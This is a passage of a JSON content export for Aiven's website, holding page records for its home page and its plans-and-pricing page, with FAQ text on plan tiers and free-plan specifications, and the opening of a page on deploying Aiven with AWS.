center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"1jgjyfixwbaurtidbl11i9155f7a2dw9","_ref":"c0c5a62e-e66b-4231-93b3-ca4913de22f6","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"priceline","image":{"_type":"mainImage","asset":{"_ref":"image-c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191-png","_type":"reference"}},"imageHeight":30,"title":"Priceline"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","subtitle":[{"_key":"2bmh4zzt595xbqassktrnjrdlm235snk","_type":"block","children":[{"_key":"lnv5e6jh3you6bw2nv56arru3luvjtm3","_type":"span","marks":[],"text":"Aiven empowers businesses of all sizes, from startups to Fortune 500 enterprises across diverse sectors in more than 60 countries, to create next-generation applications confidently and quickly."}],"markDefs":[],"style":"normal"}],"tagline":"Why Aiven","title":"Over 1,000 customers worldwide"},{"_key":"fba803b3763300287e90a6961974289c","_type":"eventList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"limit":3,"noSpaceBottom":false,"noSpaceTop":false,"showEventImage":false,"subtitle":[{"_key":"5d84cf16b566","_type":"block","children":[{"_key":"4d4e9827fae60","_type":"span","marks":[],"text":"Aiven actively engages with the open source data community at conferences, meetups, webinars and events around the world. View our "},{"_key":"42358a999985","_type":"span","marks":["3ff4b7c23a45"],"text":"events calendar"},{"_key":"98aed7dbc44f","_type":"span","marks":[],"text":" and come to meet us!"}],"markDefs":[{"_key":"3ff4b7c23a45","_type":"internalLink","internalLink":{"_ref":"5ee42446-6891-458b-bac8-fd25fa3fc6f2","_type":"reference"}}],"style":"normal"}],"title":"Upcoming events"},{"_key":"8oy5cyiag6pjnnr8cayogktu7iy4jlbp","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"left","items":[{"_key":"1ea60d8c84d6b0ce5a8677549209d62f","_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_type":"whitepaper"},{"_key":"10orwted3dhc1u1h2qocjggw7zfqabbl","_ref":"8c15dfca-a298-4f5c-8d06-a0b5a38be295","_type":"ebook"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"0cgfqmkiu2q1izx7u95u6wwrmogiwz5l","_type":"block","children":[{"_key":"7d3b1de3b705","_type":"span","marks":[],"text":"Stay informed about open source with valuable insights delivered to your inbox. Explore our "},{"_key":"9b19d31828f3","_type":"span","marks":["b272f17cc80a"],"text":"resource library"},{"_key":"fb3d4e79ed93","_type":"span","marks":[],"text":" for even more."}],"markDefs":[{"_key":"b272f17cc80a","_type":"internalLink","internalLink":{"_ref":"07b6e990-ab38-4eaf-b4e6-d8af0126535c","_type":"reference"}}],"style":"normal"},{"_key":"jo5aqudge9s8fj7aq503zekxj2vcuyfu","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"iframeHeight":100,"iframeSource":"https://go.aiven.io/l/890043/2022-01-19/76c87","iframeTitle":"Newsletter subscription","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","rounded":false}],"title":"Explore our latest resources"},{"_key":"7uixa74jqgwpsyo7sw7bazymohfsq6p7","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"sm","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"text":[{"_key":"868d206437a1","_type":"block","children":[{"_key":"1e5e1d75304d","_type":"span","marks":[],"text":"Aiven takes the pain out of cloud data infrastructure management. Deploy a service on the "},{"_key":"33821f726b38","_type":"span","marks":["5d4b9e445c52"],"text":"Aiven Platform"},{"_key":"7622e457b87c","_type":"span","marks":[],"text":" in 10 minutes - no credit card needed. Select your Aiven service, and the cloud and region to deploy to. You’ll be up and running in minutes."}],"markDefs":[{"_key":"5d4b9e445c52","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"Try Aiven for free","topOverlap":false,"variant":"mediaCenter"}],"modals":[],"seo":{"_type":"metaData","metaDescription":"Aiven simplifies cloud data infrastructure management by deploying open-source technologies across multiple clouds, enabling fast and confident creation of next-generation applications.","metaImage":{"_type":"mainImage","alt":"Aiven.io","asset":{"_ref":"image-22da5521b08c529b241d9b01a3aec010441a3f11-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven\",\n \"@type\": \"Organization\",\n \"sameAs\": [\n \"https://twitter.com/aiven_io\",\n \"https://www.linkedin.com/company/aiven\"\n ],\n \"@context\": \"http://schema.org\",\n \"location\": [\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Helsinki, Finland\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Berlin, Germany\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Paris, France\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Boston, MA\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Sydney, Australia\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Toronto, Canada\"\n }\n ],\n \"legalName\": \"Aiven Oy\",\n \"description\": \"Aiven simplifies cloud data infrastructure management by deploying open-source technologies across multiple clouds, enabling fast and confident creation of next-generation applications.\",\n \"contactPoint\": [\n {\n \"@type\": \"ContactPoint\",\n \"email\": \"sales@aiven.io\",\n \"contactType\": \"sales\"\n }\n ],\n \"foundingDate\": \"2016\",\n \"subOrganization\": [\n {\n \"name\": \"Aiven Inc.\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Deutschland GmbH\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Australia Pty Ltd\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Canada Ltd\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven France SAS\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven (Singapore) Pte. Ltd\",\n \"@type\": \"Organization\"\n }\n ]\n}","metaTitle":"Aiven - Your Trusted Data \u0026 AI Platform"},"slug":{"_type":"slug","current":"/"},"title":"Home Page"} {"__i18n_lang":"en","_createdAt":"2022-09-07T20:39:48Z","_id":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_rev":"jvX45fVrMTONcXvY2avFze","_type":"page","_updatedAt":"2024-10-22T13:40:35Z","content":[{"_key":"e5d800abc1de","_type":"hero","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"description":[{"_key":"7d57645cfa42","_type":"block","children":[{"_key":"990720bd6508","_type":"span","marks":[],"text":"Aiven's pricing is all-inclusive and transparent, providing you with the confidence and ease to forecast monthly expenses without any surprises from variable costs."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"noSpaceBottom":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"1ae17d9b-e79f-471e-9cb2-d733725273f4","_type":"reference"},"title":"Find the right plan"},"title":"Plans \u0026 Pricing","variant":"compact"},{"_key":"32dbd8a54be8","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"variant":"all-services"},{"_key":"603356307269","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"logos":[{"_key":"40c0949d23ca","_ref":"116682c4-b184-4136-9c82-2dc7e4fe5d28","_type":"reference"},{"_key":"6252358bcc1e","_ref":"723e5af6-916b-4e14-b3fd-bf7a66f1d80c","_type":"reference"},{"_key":"a04a233c4cf9","_ref":"a26cf529-bb24-4a1f-91a6-bab664c408f6","_type":"reference"},{"_key":"20b6261dc10d1f95ec4a616c2030259c","_ref":"8c8287cd-e80c-43aa-bc3f-6fbecc422a85","_type":"reference"}],"title":"Available marketplaces","variant":"logo"},{"_key":"9d865689a926","_type":"iconList","disabled":true,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"7f75c934cf6d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"10e50a738518","_type":"block","children":[{"_key":"3813afc9231d0","_type":"span","marks":[],"text":"5 public cloud providers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8252676e91f6","_type":"block","children":[{"_key":"4c0419b8a0c20","_type":"span","marks":[],"text":"100+ regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a9bb901a2129","_type":"block","children":[{"_key":"0f032b0b05d00","_type":"span","marks":[],"text":"Migrate across clouds and regions\nwith one click at no extra costs"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f8fa5629c22d","_type":"block","children":[{"_key":"ac1679e4fcba0","_type":"span","marks":[],"text":"Multicloud ready - we take care of the plumbing"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Switch between clouds and region - no extra costs"},{"_key":"7b625b5ead99","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-a145021d9dfd38c501e1262164f3d3f33511d50a-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"84f452f98c5b","_type":"block","children":[{"_key":"34f44854ff2e0","_type":"span","marks":[],"text":"Automatic detection and handling of common service problems"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d72d17d45268","_type":"block","children":[{"_key":"3d7646688a9b0","_type":"span","marks":[],"text":"Both automatic and configurable backups."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2950a5ce6d8d","_type":"block","children":[{"_key":"08073d26d1ae0","_type":"span","marks":[],"text":"Customizable monitoring with prebuilt Grafana dashboards or ready-to-go integration with external services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d0cf5ce29865","_type":"block","children":[{"_key":"2320e7e625f5","_type":"span","marks":[],"text":"Minimal downtime upgrades"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"We commit to 99.99% uptime"},{"_key":"1072e7a84aaf","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"34d1d18ceee4","_type":"block","children":[{"_key":"27ae4c834e2c0","_type":"span","marks":[],"text":"Scale up (or down) your services with one click"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ec7835df2652","_type":"block","children":[{"_key":"f36f3b2ee2e90","_type":"span","marks":[],"text":"No additional backup costs"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2fcbe8f186c9","_type":"block","children":[{"_key":"5f08dca274520","_type":"span","marks":[],"text":"No additional API calls"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9eac32d7a7a5","_type":"block","children":[{"_key":"46e6fe34c2780","_type":"span","marks":[],"text":"No additional network ingress or egress cost"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Fixed pricing - no surprises"}],"itemsPerRow":3,"rounded":false,"title":"Flexibility, high availability, no maintenance labor costs"},{"_key":"ba4dcc94d526","_type":"textImage","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundPosition":"center center","darkTheme":true,"disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-29d3ec44112d6b4fa8d72473f3803547a1c74601-900x847-png","_type":"reference"}},"narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"a0d9c1c3-d9db-4505-9be9-2cdc41f78178","_type":"reference"},"title":"Calculate now"},"rounded":true,"text":[{"_key":"9632bee2ad14","_type":"block","children":[{"_key":"ce6d978fee5c0","_type":"span","marks":[],"text":"Aiven’s fully managed infrastructure makes your business and your team more productive. Find out how you could start saving millions – today."}],"markDefs":[],"style":"normal"}],"title":"Calculate exactly how much you’ll save with Aiven","variant":"mediaLeft"},{"_key":"83c3ea112d44","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"d7fa725ba1cd","_type":"accordionItem","id":"plans","panelText":[{"_key":"e4e1ac5181ee","_type":"block","children":[{"_key":"a444ea5841b10","_type":"span","marks":[],"text":"Aiven categorises plans into 5 different tiers depending on the services. These are Free, Hobbyist, Startup, Business and Premium. The differences between tiers are service specific so we encourage you to choose the service you are interested in from the plan finder on the pricing page and then click \"Plan Comparison\"."}],"markDefs":[],"style":"normal"},{"_key":"731af7935ede","_type":"block","children":[{"_key":"560ca120c9080","_type":"span","marks":[],"text":"Most technical features are available in all tiers. One key difference between the tiers can be the number of dedicated VMs. The more VMs there are, the more resistant the service is for any anomalies. Our Hobbyist/Startup tiers are typically recommended for test environments, Business for production environments and Premium for enterprise-level production environments."}],"markDefs":[],"style":"normal"},{"_key":"7c86c590abd2","_type":"block","children":[{"_key":"536707f77fa60","_type":"span","marks":[],"text":"Aiven offers free plans for "},{"_key":"1b801334b02a","_type":"span","marks":["strong"],"text":"Aiven for PostgreSQL®, Aiven for MySQL and Aiven for Valkey™"},{"_key":"275398a3ae3a","_type":"span","marks":[],"text":", available in a limited number of regions for "},{"_key":"de251cfd2fd6","_type":"span","marks":["74f16b5bfd21"],"text":"Amazon Web Services hosting"},{"_key":"456c8f9f11ed","_type":"span","marks":[],"text":", and have the following specifications:"}],"markDefs":[{"_key":"74f16b5bfd21","_type":"link","href":"https://aiven.io/docs/platform/reference/list_of_clouds#amazon-web-services"}],"style":"normal"},{"_key":"387fadcab927","_type":"block","children":[{"_key":"165bf5d7b92d0","_type":"span","marks":[],"text":"Single node"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"40198289be10","_type":"block","children":[{"_key":"2beddb00eb490","_type":"span","marks":[],"text":"1 CPU per virtual machine"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0367b80f3fec","_type":"block","children":[{"_key":"0f91e5bc7f830","_type":"span","marks":[],"text":"1 GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"265153b2794c","_type":"block","children":[{"_key":"50630df48e120","_type":"span","marks":[],"text":"For PostgreSQL and MySQL: 5GB storage"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8d1b5b55310e","_type":"block","children":[{"_key":"e753d3c749c90","_type":"span","marks":[],"text":"For Redis: "},{"_key":"e753d3c749c91","_type":"span","marks":["code"],"text":"maxmemory"},{"_key":"e753d3c749c92","_type":"span","marks":[],"text":" set to 50%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a59134be50e5","_type":"block","children":[{"_key":"ea0977f88b7b0","_type":"span","marks":[],"text":"For more details on the free plans, check out "},{"_key":"ea0977f88b7b1","_type":"span","marks":["251c77a02c00"],"text":"our documentation"},{"_key":"ea0977f88b7b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"251c77a02c00","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"61f3ef47eeb7","_type":"block","children":[{"_key":"2be2cd33dac00","_type":"span","marks":[],"text":"All "},{"_key":"8a581c9275bd","_type":"span","marks":["strong"],"text":"Aiven for Apache Kafka and Aiven for Apache Cassandra"},{"_key":"4dce7327cf49","_type":"span","marks":[],"text":" plans offer high-availability (minimum 3 nodes), private networking (VPC) and single-tenant, dedicated clusters where each virtual machine is in a different availability zone. With our Apache Kafka service, Kafka Connect is included only in Business and Premium plans."}],"markDefs":[],"style":"normal"},{"_key":"fdca5d9e1a00","_type":"block","children":[{"_key":"ac4e4f72b38c","_type":"span","marks":[],"text":"See "},{"_key":"cca627e8f8da","_type":"span","marks":["752c357bd8c3"],"text":"plan comparison"},{"_key":"e58839962790","_type":"span","marks":[],"text":" to check what's included in different tiers of Kafka plans. Also, you can use our "},{"_key":"fee4aaf89efb","_type":"span","marks":["eeeb9d0b6ecf"],"text":"Kafka plan finder tool"},{"_key":"d7d39d831e71","_type":"span","marks":[],"text":" to get a recommended Kafka plan based on your unique data needs and requirements."}],"markDefs":[{"_key":"752c357bd8c3","_type":"link","href":"https://aiven.io/pricing?product=kafka\u0026tab=plan-comparison"},{"_key":"eeeb9d0b6ecf","_type":"internalLink","internalLink":{"_ref":"c3f4e356-f474-4130-827c-fb30a78ac222","_type":"reference"}}],"style":"normal"},{"_key":"5f4a84214ba1","_type":"block","children":[{"_key":"2ebc318a6e0e0","_type":"span","marks":["strong"],"text":"Aiven for PostgreSQL"},{"_key":"7274410ac718","_type":"span","marks":[],"text":" offers high Availability for Business (2 nodes) and Premium (3 nodes) plans. Backup Retention Time varies per plan: 0 days for Hobbyist, 2 days for Startup, 14 days for Business, and 30 days for Premium plan. On premium level plans, you can optionally enable synchronous replication for higher reliability"}],"markDefs":[],"style":"normal"},{"_key":"1f82a1e610cd","_type":"block","children":[{"_key":"3af22f80bd1b","_type":"span","marks":[],"text":"See "},{"_key":"40b430389db0","_type":"span","marks":["5baa50d1c076"],"text":"plan comparison"},{"_key":"643bd470df37","_type":"span","marks":[],"text":" for more details on PostgreSQL plans."}],"markDefs":[{"_key":"5baa50d1c076","_type":"link","href":"https://aiven.io/pricing?product=pg\u0026tab=plan-comparison"}],"style":"normal"}],"title":"What are the differences between plans?"},{"_key":"ad0535556040bd84d4cdfc6a80e5512f","_type":"accordionItem","id":"free-plan","panelText":[{"_key":"7c86c590abd2","_type":"block","children":[{"_key":"536707f77fa60","_type":"span","marks":[],"text":"Aiven offers free plans for "},{"_key":"ea8146bdc7bc","_type":"span","marks":["strong"],"text":"Aiven for PostgreSQL®, Aiven for MySQL and Aiven for Valkey™"},{"_key":"8012566fda8d","_type":"span","marks":[],"text":", available in a limited number of regions for "},{"_key":"e23821fd8f5a","_type":"span","marks":["ec1ef74f924c"],"text":"Amazon Web Services hosting"},{"_key":"ec49835fa176","_type":"span","marks":[],"text":", and have the following specifications:"}],"markDefs":[{"_key":"ec1ef74f924c","_type":"link","href":"https://aiven.io/docs/platform/reference/list_of_clouds#amazon-web-services"}],"style":"normal"},{"_key":"387fadcab927","_type":"block","children":[{"_key":"165bf5d7b92d0","_type":"span","marks":[],"text":"Single node"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"40198289be10","_type":"block","children":[{"_key":"2beddb00eb490","_type":"span","marks":[],"text":"1 CPU per virtual machine"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0367b80f3fec","_type":"block","children":[{"_key":"0f91e5bc7f830","_type":"span","marks":[],"text":"1 GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"265153b2794c","_type":"block","children":[{"_key":"50630df48e120","_type":"span","marks":[],"text":"For PostgreSQL and MySQL: 5GB storage"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8d1b5b55310e","_type":"block","children":[{"_key":"e753d3c749c90","_type":"span","marks":[],"text":"For Redis: "},{"_key":"e753d3c749c91","_type":"span","marks":["code"],"text":"maxmemory"},{"_key":"e753d3c749c92","_type":"span","marks":[],"text":" set to 50%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"89860cc73637","_type":"block","children":[{"_key":"495baf70fef50","_type":"span","marks":[],"text":"Free plans do not have any time limitations. However, Aiven reserves the right to shut down services if we believe they violate the "},{"_key":"495baf70fef51","_type":"span","marks":["7e2ac299e5c5"],"text":"acceptable use policy"},{"_key":"495baf70fef52","_type":"span","marks":[],"text":" or are unused for some time. For more details, check out "},{"_key":"ea0977f88b7b1","_type":"span","marks":["251c77a02c00"],"text":"our documentation"},{"_key":"ea0977f88b7b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7e2ac299e5c5","_type":"link","href":"https://aiven.io/terms"},{"_key":"251c77a02c00","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"}],"title":"Does Aiven offer a free plan?"},{"_key":"ae9c88294c23","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123","_type":"reference"},{"_key":"a479d16b4509","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"},{"_key":"46b9ec502d75","_ref":"b4b43698-68fc-40a0-8edd-755088302126","_type":"reference"},{"_key":"3c5627136204","_ref":"0e804db0-a866-4abd-827f-4958881bf05b","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Open questions? We’ve got answers"},{"_key":"d931ffbf96a2","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":true,"fullWidth":false,"headerPosition":"default","items":[{"_key":"56b43c8c9060","_type":"cardItem","subtitle":[{"_key":"2e6a8004e580","_type":"block","children":[{"_key":"350d7d3f4b6c","_type":"span","marks":[],"text":"Calculate exactly how much you will save with Aiven and find an Aiven for Apache Kafka® plan that fits your data requirements."}],"markDefs":[],"style":"normal"},{"_key":"1a197505f76c","_type":"block","children":[{"_key":"3c9621a5b11d","_type":"span","marks":["323587a59f28"],"text":"Aiven Value Calculator"}],"markDefs":[{"_key":"323587a59f28","_type":"internalLink","internalLink":{"_ref":"a0d9c1c3-d9db-4505-9be9-2cdc41f78178","_type":"reference"}}],"style":"normal"},{"_key":"2e0f5ec79459","_type":"block","children":[{"_key":"b00aa0e66b18","_type":"span","marks":["0212e243c10c"],"text":"Aiven for Apache Kafka® Plan Finder"}],"markDefs":[{"_key":"0212e243c10c","_type":"internalLink","internalLink":{"_ref":"c3f4e356-f474-4130-827c-fb30a78ac222","_type":"reference"}}],"style":"normal"}],"tagline":"Tools","title":"Aiven Value Calculator and Kafka Plan Finder","variant":"default"},{"_key":"937942ee065f","_type":"cardItem","subtitle":[{"_key":"9285cd6a81a2","_type":"block","children":[{"_key":"4f9586a54984","_type":"span","marks":[],"text":"Jason Hepp tells you about how Aiven provides intrinsic trust and value in your organization. Find out what hugging your feet has to do with it!"}],"markDefs":[],"style":"normal"},{"_key":"da72f1d04cd5","_type":"block","children":[{"_key":"eb98e2c3e0c4","_type":"span","marks":["ac6de35a8dd1"],"text":"Read more"}],"markDefs":[{"_key":"ac6de35a8dd1","_type":"internalLink","internalLink":{"_ref":"3MggLA9OLDbYdLjn5eZSx6","_type":"reference"}}],"style":"normal"}],"tagline":"Blog","title":"Create trust and value with Aiven","variant":"default"},{"_key":"67037a6581ea","_type":"cardItem","subtitle":[{"_key":"766efdbde514","_type":"block","children":[{"_key":"9a60f3874308","_type":"span","marks":[],"text":"Learn more about our support model and our commitment to providing fault-resilient database, automatic recovery and self-healing capabilities."}],"markDefs":[],"style":"normal"},{"_key":"72e7ab2bb709","_type":"block","children":[{"_key":"a1a8305500fb","_type":"span","marks":["c0f1ecadad9c"],"text":"Support"}],"markDefs":[{"_key":"c0f1ecadad9c","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"}}],"style":"normal"},{"_key":"8914ad907305","_type":"block","children":[{"_key":"e6522c201a85","_type":"span","marks":["a1557f80a465"],"text":"SLA"}],"markDefs":[{"_key":"a1557f80a465","_type":"internalLink","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"}}],"style":"normal"}],"tagline":"Link","title":"Support, Licensing and Legal","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"title":"Additional resources"},{"_key":"4ea4175f6d47","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"auto","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"subtitle":[{"_key":"b674c1eec799","_type":"block","children":[{"_key":"827f0ffb3e51","_type":"span","marks":[],"text":"Aiven makes setting up cloud databases so simple anyone can do it. Our set-it-and-forget-it solutions take the pain out of cloud data infrastructure."}],"markDefs":[],"style":"normal"}],"title":"Get your first cluster online now","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"All-inclusive and hourly billed pricing for a managed and hosted data platform on the cloud of your choice. Check out our services and compare different plans.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-606a17bc642d3351db8987ffb1c6089316d80235-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Plans and Pricing | All-Inclusive \u0026 Transparent"},"slug":{"_type":"slug","current":"/pricing"},"title":"Pricing"} {"__i18n_lang":"en","_createdAt":"2022-09-13T14:48:04Z","_id":"09e0a894-0d29-4a89-bc91-367650f4653b","_rev":"OhsspIiKyKwutFeVIqucVk","_type":"page","_updatedAt":"2024-12-04T11:03:43Z","content":[{"_key":"db08f9c5d675","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"858d8b73dccf","_type":"block","children":[{"_key":"1fe570e5aedf0","_type":"span","marks":[],"text":"We make it easy to set up data infrastructure using the popular open source technologies you know and love on one data and AI platform."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Deploy Aiven with your AWS infrastructure","variant":"compact"},{"_key":"07vvaquqz26b3i1wjtj3474tjp3u146g","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"logos":[{"_key":"9b1bd6fad27c","_ref":"7f0cd6d7-b290-4e26-8045-704b81fb72f2","_type":"reference"},{"_key":"54e37733b63c","_ref":"8d841fef-8d9b-402a-a503-70b7908348a0","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-b","tagline":"AWS Competencies","variant":"logo"},{"_key":"c081a6856ef9","_type":"iconList","disabled":false,"fullWidth":false,"headerPosition":"left","iconSize":24,"icons":[{"_key":"b32368b2e485","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"214bd9882ad3","_type":"block","children":[{"_key":"eb5318ef080c0","_type":"span","marks":[],"text":"We guard your data infrastructure like our own, with dedicated virtual machines, TLS encryption and VPC peering on AWS. SOC2, GDPR, HIPAA, and PCI DSS 